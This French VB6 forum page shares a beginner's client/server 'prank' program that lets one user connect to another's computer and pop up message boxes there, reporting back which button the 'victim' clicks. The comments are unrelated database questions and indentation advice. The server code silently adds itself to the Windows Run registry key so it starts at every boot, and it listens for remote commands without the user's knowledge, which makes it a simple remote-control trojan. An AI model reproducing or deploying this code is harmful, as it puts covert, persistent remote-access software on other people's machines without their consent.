Error message : envoyer des message d'erreur en msgbox avec retour de reponse !

Soyez le premier à donner votre avis sur cette source.

Vue 12 964 fois - Téléchargée 1 297 fois

Description

Bonjour à tous.
Voici donc ma premiere source j'espere qu'elle vous plaiera car je ne suis encore que débutant !
Donc mon programme est tout simple ! Il permet a une personne de se connecter, grace au client, sur un ordinateur, ou il y a le server, puis de lui envoyer des petit message d'erreur ect... rien de bien mechant !!! Une fois que la "victime" aura repondu au message (OUI, NON, RECOMMENCER...) vous receverez ce qu'il aura cocher ! C'est plus pour s'amuser mais aussi pour les debutant pouvoir s'entrainer a dechifrer les codes pas bien dure :D !
Donc voila je vous laisse vous amusez et a inventer le message le plus délir :D

Source / Exemple :


- Client :

Option Explicit

Private Sub connecter_Click()
Winsock.Close
Winsock.Connect ip.Text, "27960"
horsligne.Caption = "En cours..."
connecter.Enabled = False
End Sub

Private Sub deconnecter_Click()
Winsock.SendData "CLOS"
horsligne.Caption = "Hors Ligne"
connecter.Enabled = True
End Sub

Private Sub definirboutton_Click()
Select Case True

Case a.Value = True
Winsock.SendData "BOUT" & vbYesNoCancel
Case b.Value = True
Winsock.SendData "BOUT" & vbOKOnly
Case c.Value = True
Winsock.SendData "BOUT" & vbAbortRetryIgnore
Case d.Value = True
Winsock.SendData "BOUT" & vbYesNo
Case e.Value = True
Winsock.SendData "BOUT" & vbOKCancel
Case f.Value = True
Winsock.SendData "BOUT" & vbRetryCancel

End Select
End Sub

Private Sub definiricone_Click()
If question.Value = True Then
Winsock.SendData "ICON" & vbQuestion
End If
If exclamation.Value = True Then
Winsock.SendData "ICON" & vbExclamation
End If
If erreur.Value = True Then
Winsock.SendData "ICON" & vbCritical
End If
If information.Value = True Then
Winsock.SendData "ICON" & vbInformation
End If
End Sub

Private Sub envoyer1_Click()
Winsock.SendData "MSSG" & message.Text
End Sub

Private Sub envoyer2_Click()
Winsock.SendData "TITR" & windows.Text
End Sub

Private Sub envoyer3_Click()
If exclamation.Value = True Then
Winsock.SendData "AZER"
End If
If erreur.Value = True Then
Winsock.SendData "AZER"
End If
If information.Value = True Then
Winsock.SendData "AZER"
End If
If question.Value = True Then
Winsock.SendData "OUVR"
End If
End Sub

Private Sub erreur_Click()
If erreur.Value = True Then
bouttonmessage.Visible = False
End If

End Sub

Private Sub exclamation_Click()
If exclamation.Value = True Then
bouttonmessage.Visible = False
End If
End Sub

Private Sub information_Click()
If information.Value = True Then
bouttonmessage.Visible = False
End If
End Sub

Private Sub question_Click()
If question.Value = True Then
bouttonmessage.Visible = True
End If
End Sub

Private Sub Winsock_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock.GetData data
Select Case Left(data, 4)

Case "CONN"
horsligne.Caption = "En ligne"

Case "STAT"
horsligne.Caption = "Hors Ligne"

Case "RPSE"
MsgBox "USER : Ok", vbOKOnly, "Reponce"

Case "REPS"
Dim rep As String
MsgBox "USER : " & Right(data, Len(data) - 4), vbOKOnly, "Reponse"

End Select
End Sub

- Server :

Dim WSHShell
Dim MaClef
Dim MonProg
Dim CheminDeMonProg
Dim r

Private Sub Form_Load()
Set WSHShell = CreateObject("Wscript.Shell")
MonProg = "Form1"
CheminDeMonProg = App.Path & "\" & App.EXEName & ".exe"
MaClef = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & MonProg
r = WSHShell.RegWrite(MaClef, CheminDeMonProg, "REG_SZ")

Winsock1.Listen
End Sub

Private Sub rep_Change()

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "CONN"

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
Select Case Left(data, 4)

Case "CLOS"
Winsock1.SendData "STAT"
Winsock1.Close
Winsock1.Listen

Case "MSSG"
Dim message As String
message = Right(data, Len(data) - 4)
msg.Text = message

Case "TITR"
Dim titre As String
titre = Right(data, Len(data) - 4)
title.Text = titre

Case "BOUT"
Dim boutton As String
boutton = Right(data, Len(data) - 4)
button.Text = boutton

Case "ICON"
Dim icone As String
icone = Right(data, Len(data) - 4)
types.Text = icone

Case "OUVR"
Dim rep As String
rep = MsgBox(msg.Text, types.Text & button.Text, title.Text)
Dim buffer As Variant
buffer = Array("", "Ok", "Annuler", "Abandonner", "Recommencer", "Ignorer", "Oui", "Non")

rep = buffer(Val(rep))

Winsock1.SendData "REPS" & rep

Case "AZER"
MsgBox msg.Text, types.Text, title.Text
Winsock1.SendData "RPSE"

End Select
End Sub

Conclusion :


Merci à Skate et à Yoman64

Codes Sources

A voir également

Ajouter un commentaire

Commentaires

nissrine123
Messages postés
2
Date d'inscription
mardi 13 juin 2006
Statut
Membre
Dernière intervention
16 juin 2006
-
Dim a As Integer
Dim x As Integer
rstdemande("codeDemande") = txtnumdemande.Text
rstdemande("objetdemande") = txtobjet.Text
rstdemande("DateAudience") = DTPickerdateaudience.Value
rstdemande("datedemande") = DTPickerdatedemande.Value
rstdemande("lieuaudience") = Cmblieu.Text
rstdemande("naturelitige") = cmbnature.Text
rstdemande("langue") = cmblangue.Text
rstdemande("natureDemande") = cmbnaturedemande.Text
a = cmbdemandeur.ListIndex
x = cmbdemandeur.ItemData(a)
If cmbdemandeur.ListIndex <> -1 And rstdemande.EOF = True Then
rstdemande.AddNew
End If
rstdemande("codedemandeur") = x
a = cmbmd.ListIndex
x = cmbmd.ItemData(a)
If cmbmd.ListIndex <> -1 And rstdemande.EOF = True Then
rstdemande.AddNew
End If
rstdemande("codedemandeurdemandeur") = x
a = cmbdefendeur.ListIndex
x = cmbdefendeur.ItemData(a)
If cmbdefendeur.ListIndex <> -1 And rstdemande.EOF = True Then
rstdemande.AddNew
End If
rstdemande("codedefendeur") = x
a = cmbmandataire.ListIndex
x = cmbmandataire.ItemData(a)
If cmbmandataire.ListIndex <> -1 And rstdemande.EOF = True Then
rstdemande.AddNew
End If
a = cmbjuge.ListIndex
x = cmbjuge.ItemData(a)
If cmbjuge.ListIndex <> -1 And rstdemande.EOF = True Then
rstdemande.AddNew
End If
rstdemande("Numtype") = x

rstdemande("codemandatairedefendeur") = x
rstdemande("natureDemande") = cmbnaturedemande.Text

rstdemande.Update
rstdemande.Requery
affectation
consultation
C POUR enregistrer je veux afficher un message quand je mit un numero déja existé
merci pour votre aide?
nissrine123
Messages postés
2
Date d'inscription
mardi 13 juin 2006
Statut
Membre
Dernière intervention
16 juin 2006
-
On Error Resume Next
Dim x As String
Dim Y As Variant
Dim e As String

x = InputBox("Veuillez entrer la valeur à rechercher", "Recherche le nom du mandataire")
rstmandataire.MoveFirst
If x = "" Then
MsgBox "Veuillez saisir le nom de mandataire SVP"
cmdrecherchernom_Click
Else
Y = rstmandataire.Bookmark
rstmandataire.Find "nom = '" & x & "'", , , 1
If rstmandataire.EOF = True Then
MsgBox ("Valeur souhaiter introuvable!!"), vbInformation, "Erreur"
rstmandataire.MoveFirst
End If
affectation
End If

Exit Sub
Resume:
LblErr.Visible = True
e = Err.Number & " " & Err.Description & Err.Source & "." & " " & _
Chr(13) & "Veuillez contactez votre responsable"
LblErr.Caption = e

End Sub
j ai un probléme ici pr l input box
aide moi?
cs_yoman64
Messages postés
593
Date d'inscription
samedi 19 janvier 2002
Statut
Membre
Dernière intervention
4 décembre 2008
-
Indentation c'est de mettre des espace au debut de lignes ^pour facilité la relecture du code :)

par exemple:
if a=b then
msgbox "allo"
else
msgbox "bye"
endif



Tu comprends ici il y a des espaces dans les 2 blocs du if , c'est plus lisible que de

if a=b then
msgbox "allo"
else
msgbox "bye"
endif





:)
Alucard49000
Messages postés
15
Date d'inscription
vendredi 9 décembre 2005
Statut
Membre
Dernière intervention
23 mars 2006
-
"BOUV
Et pense à l'indentation de ton code ^^"
Que veut tu entre dire par la stp ?

"YOMAN64
Pourquoi faire tout tes Case c.Value = True ??"
Je corrige ca dès ce soir

Sinon vous en penser quoi de mon programme svp ?
bouv
Messages postés
1429
Date d'inscription
mercredi 6 août 2003
Statut
Membre
Dernière intervention
3 mars 2019
-
Et pense à l'indentation de ton code ^^

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.